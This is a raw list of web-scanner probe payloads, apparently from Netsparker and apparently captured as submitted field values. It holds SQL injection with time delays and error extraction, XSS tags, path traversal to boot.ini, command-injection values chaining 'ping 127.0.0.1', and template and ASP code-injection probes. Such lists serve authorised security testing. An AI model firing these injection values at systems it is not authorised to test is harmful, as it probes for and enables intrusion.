+response.write(268409241-94463)'

c:\boot.ini

'><net sparker=netsparker(0x09FC85)>

SET /A 0xFFF9999-17832

http://example.com/?
ns: netsparker056650=vuln

')) WAITFOR DELAY '0:0:25'-- /* fc7784f4-e80a-4d76-a6f4-0094df34a87f */

${28275*28275-(31568)}

3

3

'&ping -w 25 127.0.0.1 &'

=268409241-68055

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

"+response.write(268409241-36138)+"

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

"><net sparker=netsparker(0x09FC8E)>

| SET /A 0xFFF9999-47004

ns:netsparker056650=vuln

N3tSp4rK3R

')) WAITFOR DELAY '0:0:25'-- /* 46f92bf5-7d53-4d13-94ef-78cc16fa4308 */

#{28275*28275-(24000)}

&ping -w 25 127.0.0.1 &

<%- 268409241-85591 %>

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

"+response.write(268409241-1284)+"

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

<iMg src=N onerror=netsparker(0x09FCA3)>

| SET /A 0xFFF9999-40216

ns:netsparker056650=vuln

1)) WAITFOR DELAY '0:0:25'-- /* 5c4c00cd-d670-4ac8-b2cd-794a510c8eb3 */

#{28275*28275-(66769)}

ping -w 25 127.0.0.1 &

<%- 268409241-99288 %>

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

<% response.write(268409241-73107) %>

file%3a%2f%2f%2fboot.ini

javascript:netsparker(0x09FCCA)

1";expr 268409241 - 2650;"

1)) WAITFOR DELAY '0:0:25'-- /* 7da21705-fa3e-43c8-a10b-6205654d0e19 */

ping -n 25 127.0.0.1

<#assign x=268409241 - 59677>
${x?string["0"]}

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

<% response.write(268409241-10107) %>

c%3a%5cboot.ini

<scRipt>ns(0x09FD2B)</scRipt>

1";expr 268409241 - 37953;"

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 78929d2a-d310-40bf-ba21-e14d62ac8b7e */

ping -w 25 127.0.0.1

<#assign x=268409241 - 56013>
${x?string["0"]}

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

print(int)0xFFF9999-49727